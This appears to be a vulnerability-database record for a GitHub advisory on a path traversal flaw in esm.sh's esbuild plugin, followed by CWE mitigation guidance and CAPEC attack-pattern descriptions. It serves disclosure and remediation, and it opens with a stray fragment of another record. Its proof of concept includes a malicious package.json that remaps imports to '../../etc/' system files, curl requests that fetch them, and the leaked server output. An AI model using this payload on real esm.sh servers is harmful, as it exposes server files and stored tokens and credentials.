"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RG65-45M7-HQ57
Vulnerability from github – Published: 2026-05-12 22:22 – Updated: 2026-06-09 02:00Summary
A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
Details
The vulnerable code is in the OnResolve callback of the esbuild plugin:
https://github.com/esm-dev/esm.sh/blob/main/server/build.go
The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}
// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
if path, ok := pkgJson.Browser[modulePath]; ok {
if path == "" {
return esbuild.OnResolveResult{
Path: args.Path,
Namespace: "browser-exclude",
}, nil
}
if !isRelPathSpecifier(path) {
externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
if err != nil {
return esbuild.OnResolveResult{}, err
}
return esbuild.OnResolveResult{
Path: externalPath,
SideEffects: sideEffects,
External: true,
}, nil
}
modulePath = path
}
}
// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check
File contents appear in both the bundled JS output and the source map sourcesContent array.
Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).
Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.
PoC
The test package is published at https://www.npmjs.com/package/chess-sec-utils1
package.json:
{
"name": "chess-sec-utils1",
"version": "1.0.6",
"main": "index.js",
"type": "module",
"browser": {
"./d1.txt": "../../../../../../../../etc/hostname",
"./d2.json": "../../../../../../../../etc/os-release",
"./d3.json": "../../../../../../../../etc/environment"
}
}
index.js:
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"
Server file contents in source map response:
{
"sourcesContent": [
"ideapad\n",
"PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
"PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
"import d1 from \"./d1.txt\"..."
]
}
Impact
An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.
Fix
Add a path validation check after the browser field remapping:
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}
Credit
Svyatoslav Berestovsky of Metascan
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250616164159-0593516c4cfa"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44594"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:22:42Z",
"nvd_published_at": "2026-05-28T16:16:24Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA Local File Inclusion (LFI) vulnerability exists in the esbuild plugin\u0027s handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.\n\n### Details\n\nThe vulnerable code is in the `OnResolve` callback of the esbuild plugin:\n\nhttps://github.com/esm-dev/esm.sh/blob/main/server/build.go\n\nThe plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping.\n\n```go\n// Sandbox check passes for the original \"./d1.txt\" path\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n return esbuild.OnResolveResult{}, fmt.Errorf(\"could not resolve module %s\", specifier)\n}\n\n// ... later, browser field remaps to attacker-controlled path:\nif len(pkgJson.Browser) \u003e 0 \u0026\u0026 ctx.isBrowserTarget() {\n\tif path, ok := pkgJson.Browser[modulePath]; ok {\n\t\tif path == \"\" {\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath: args.Path,\n\t\t\t\tNamespace: \"browser-exclude\",\n\t\t\t}, nil\n\t\t}\n\t\tif !isRelPathSpecifier(path) {\n\t\t\texternalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)\n\t\t\tif err != nil {\n\t\t\t\treturn esbuild.OnResolveResult{}, err\n\t\t\t}\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath: externalPath,\n\t\t\t\tSideEffects: sideEffects,\n\t\t\t\tExternal: true,\n\t\t\t}, nil\n\t\t}\n\t\tmodulePath = path\n\t}\n}\n\n\n// path.Join collapses \"../\" sequences - escapes the package directory\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\n// No second sandbox check\n```\n\nFile contents appear in both the bundled JS output and the source map `sourcesContent` array.\n\nReadable files are constrained by esbuild\u0027s loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension).\n\nNon-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.\n\n### PoC\n\nThe test package is published at https://www.npmjs.com/package/chess-sec-utils1\n\n**package.json:**\n```json\n{\n \"name\": \"chess-sec-utils1\",\n \"version\": \"1.0.6\",\n \"main\": \"index.js\",\n \"type\": \"module\",\n \"browser\": {\n \"./d1.txt\": \"../../../../../../../../etc/hostname\",\n \"./d2.json\": \"../../../../../../../../etc/os-release\",\n \"./d3.json\": \"../../../../../../../../etc/environment\"\n }\n}\n```\n\n**index.js:**\n```js\nimport d1 from \"./d1.txt\"\nimport d2 from \"./d2.json\"\nimport d3 from \"./d3.json\"\nexport default { d1, d2, d3 }\n```\n\n```bash\nnpm publish\ncurl \"https://\u003cesm.sh-instance\u003e/chess-sec-utils1@1.0.6\"\ncurl \"https://\u003cesm.sh-instance\u003e/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map\"\n```\n\nServer file contents in source map response:\n```json\n{\n \"sourcesContent\": [\n \"ideapad\\n\",\n \"PRETTY_NAME=\\\"Ubuntu 22.04.5 LTS\\\"\\nNAME=\\\"Ubuntu\\\"\\nVERSION_ID=\\\"22.04\\\"\\nVERSION=\\\"22.04.5 LTS (Jammy Jellyfish)\\\"\\nVERSION_CODENAME=jammy\\nID=ubuntu\\nID_LIKE=debian\\nHOME_URL=\\\"https://www.ubuntu.com/\\\"\\nSUPPORT_URL=\\\"https://help.ubuntu.com/\\\"\\nBUG_REPORT_URL=\\\"https://bugs.launchpad.net/ubuntu/\\\"\\nPRIVACY_POLICY_URL=\\\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\\\"\\nUBUNTU_CODENAME=jammy\\n\",\n \"PATH=\\\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\\\"\\n\",\n \"import d1 from \\\"./d1.txt\\\"...\"\n ]\n}\n```\n\n\u003cimg width=\"1720\" height=\"796\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952\" /\u003e\n\n### Impact\n\nAn attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials.\n\n### Fix\n\nAdd a path validation check after the `browser` field remapping:\n\n```go\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n return esbuild.OnResolveResult{}, fmt.Errorf(\"path traversal blocked\")\n}\n```\n\n### Credit\nSvyatoslav Berestovsky of Metascan",
"id": "GHSA-rg65-45m7-hq57",
"modified": "2026-06-09T02:00:04Z",
"published": "2026-05-12T22:22:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44594"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.